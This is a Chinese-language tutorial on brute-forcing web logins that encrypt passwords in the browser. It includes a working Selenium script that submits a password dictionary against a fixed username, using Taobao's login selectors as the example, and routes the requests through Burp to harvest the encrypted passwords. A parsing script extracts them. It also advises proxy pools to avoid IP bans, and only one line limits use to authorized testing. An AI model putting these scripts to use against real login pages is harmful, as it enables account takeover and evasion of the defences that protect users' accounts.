登陆爆破之0基础绕过密码加密
字数 1218 2025-08-25 22:58:47

登陆爆破之0基础绕过密码加密 - 详细教学文档

0x01 技术背景与起因

本文介绍了一种针对前端加密登录系统的爆破技术,适用于以下场景:

  • 目标系统在前端对密码进行了加密处理
  • 传统爆破方法因加密机制失效
  • 渗透测试者JavaScript基础薄弱(仅了解alert(1)水平)

作者在实际渗透测试中遇到一个前端密码加密的OA系统,虽然找到了加密函数,但使用jsEncrypter插件时遇到问题,最终使用Selenium解决,整个过程耗时2小时。

0x02 传统方法的局限性

传统爆破方法存在的问题:

  1. 加密函数定位困难:并非总能轻易找到加密函数
  2. Selenium直接爆破的缺点
    • 单线程速度慢
    • 多线程内存/CPU开销大
    • HTTP资源加载缓慢影响效率
    • 页面渲染缓慢
    • 标签定位可能改变
    • 爆破流量明显易被ban IP

0x03 创新解决方案

核心思路

利用Selenium设置请求超时,自动更换密码点击登录,将请求发送到Burp拦截,从而获取加密后的密码列表。

详细实现步骤

1. 环境准备

  • 安装Python和Selenium
  • 下载对应浏览器驱动(如chromedriver)
  • 配置Burp Suite代理(127.0.0.1:8080)

2. Python脚本代码解析

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common.exceptions import TimeoutException

# 配置Chrome驱动
chrome_driver = "E:\Python36\chromedriver.exe"
chromeOptions = webdriver.ChromeOptions()
chromeOptions.add_argument('--proxy-server=http://127.0.0.1:8080')  # 设置Burp代理
driver = webdriver.Chrome(chrome_driver, chrome_options=chromeOptions)
driver.set_page_load_timeout(0.1)  # 设置请求超时
driver.set_script_timeout(0.1)

# 确认操作
while(1):
    name = input("Are you really?[Y|N]")
    if (name == 'Y') or (name == 'y'):
        break

# 读取密码字典
with open('E:/exploit/dictionary/fuzzDicts/1/pwd.txt','r',encoding='utf8')as f:
    lines = f.readlines()

# 目标网站元素选择器配置(以淘宝为例)
usr_css_selector = '#fm-login-id'
pwd_css_selector = '#fm-login-password'
submit_css_selector = '#login-form > div.fm-btn > button'

print('start')

# 爆破循环
for i in lines[::-1]:  # 对顺序
    try:
        driver.execute_script('''
        var usr = document.querySelector(\''''+usr_css_selector+'''\');
        var pwd = document.querySelector(\''''+pwd_css_selector+'''\');
        var submit = document.querySelector(\''''+submit_css_selector+'''\');
        usr.value = '18888888888';  # 固定用户名
        pwd.value = \'''' + i.strip() +'''\';  # 遍历密码字典
        submit.removeAttribute('disabled')  # 移除禁用属性
        submit.click();  # 触发点击
        ''')
    except TimeoutException:
        pass

print('end')

3. Burp Suite配置技巧

  1. 请求拦截:Burp默认拦截请求
  2. Socks代理技巧:设置错误主机127.0.0.直接drop请求,避免等待timeout
    • 勾选"Socks proxy"并设置错误主机
    • 效果等同于直接drop request

4. 加密密码提取脚本

import re

file_path = 'C:/Users/liulangmao/Desktop/bbbbbbb'
with open(file_path,'r',encoding='utf8')as f:
    lines = f.readlines()

with open(file_path+'_crypto','w',encoding='utf8')as f:
    for i in lines:
        if 'username=18888888888&password=' in i:
            crypto_pwd = i.strip().split('username=18888888888&password=')[1].split('&mem_pass=')[0]
            f.write(crypto_pwd + '\n')

0x04 操作流程总结

  1. 打开Burp Suite
  2. 设置Socks代理为127.0.0.1
  3. 运行selenium脚本
  4. 确认请求包能到达Burp
  5. 输入Y确认
  6. 保存并处理request
  7. 获取加密后的密码列表

效率优势:从输入Y到映射出密码列表仅需几秒,无需分析加密函数。

0x05 进阶优化建议

  1. 代理池集成:避免因爆破流量明显被ban IP
  2. CSS选择器获取:使用开发者工具获取准确的元素选择器
  3. 异常处理增强:增加更多异常捕获和处理逻辑
  4. 多平台适配:针对不同登录页面调整选择器和逻辑

0x06 注意事项

  1. 该方法不适用于有动态key或滑块验证的系统(如淘宝的完整登录流程)
  2. 实际应用中需根据目标网站调整元素选择器
  3. 爆破行为可能违反法律,仅限授权测试使用

0x07 常见问题解答

Q:为什么不在抓取密码步骤直接爆破?
A:原文解释:直接爆破会遇到单线程速度慢、多线程资源开销大、HTTP资源加载缓慢、渲染缓慢、标签定位改变等问题。

Q:如何保存request?
A:通过Burp拦截请求后,可以从Burp的HTTP历史记录中复制保存。

Q:遇到代码运行不了怎么办?
A:检查环境配置是否正确,包括:

  • Python版本
  • Selenium版本
  • 浏览器驱动路径
  • 代理设置
  • 元素选择器是否与目标页面匹配
登陆爆破之0基础绕过密码加密 - 详细教学文档 0x01 技术背景与起因 本文介绍了一种针对前端加密登录系统的爆破技术,适用于以下场景: 目标系统在前端对密码进行了加密处理 传统爆破方法因加密机制失效 渗透测试者JavaScript基础薄弱(仅了解alert(1)水平) 作者在实际渗透测试中遇到一个前端密码加密的OA系统,虽然找到了加密函数,但使用jsEncrypter插件时遇到问题,最终使用Selenium解决,整个过程耗时2小时。 0x02 传统方法的局限性 传统爆破方法存在的问题: 加密函数定位困难 :并非总能轻易找到加密函数 Selenium直接爆破的缺点 : 单线程速度慢 多线程内存/CPU开销大 HTTP资源加载缓慢影响效率 页面渲染缓慢 标签定位可能改变 爆破流量明显易被ban IP 0x03 创新解决方案 核心思路 利用Selenium设置请求超时,自动更换密码点击登录,将请求发送到Burp拦截,从而获取加密后的密码列表。 详细实现步骤 1. 环境准备 安装Python和Selenium 下载对应浏览器驱动(如chromedriver) 配置Burp Suite代理(127.0.0.1:8080) 2. Python脚本代码解析 3. Burp Suite配置技巧 请求拦截 :Burp默认拦截请求 Socks代理技巧 :设置错误主机127.0.0.直接drop请求,避免等待timeout 勾选"Socks proxy"并设置错误主机 效果等同于直接drop request 4. 加密密码提取脚本 0x04 操作流程总结 打开Burp Suite 设置Socks代理为127.0.0.1 运行selenium脚本 确认请求包能到达Burp 输入Y确认 保存并处理request 获取加密后的密码列表 效率优势 :从输入Y到映射出密码列表仅需几秒,无需分析加密函数。 0x05 进阶优化建议 代理池集成 :避免因爆破流量明显被ban IP CSS选择器获取 :使用开发者工具获取准确的元素选择器 异常处理增强 :增加更多异常捕获和处理逻辑 多平台适配 :针对不同登录页面调整选择器和逻辑 0x06 注意事项 该方法不适用于有动态key或滑块验证的系统(如淘宝的完整登录流程) 实际应用中需根据目标网站调整元素选择器 爆破行为可能违反法律,仅限授权测试使用 0x07 常见问题解答 Q:为什么不在抓取密码步骤直接爆破? A:原文解释:直接爆破会遇到单线程速度慢、多线程资源开销大、HTTP资源加载缓慢、渲染缓慢、标签定位改变等问题。 Q:如何保存request? A:通过Burp拦截请求后,可以从Burp的HTTP历史记录中复制保存。 Q:遇到代码运行不了怎么办? A:检查环境配置是否正确,包括: Python版本 Selenium版本 浏览器驱动路径 代理设置 元素选择器是否与目标页面匹配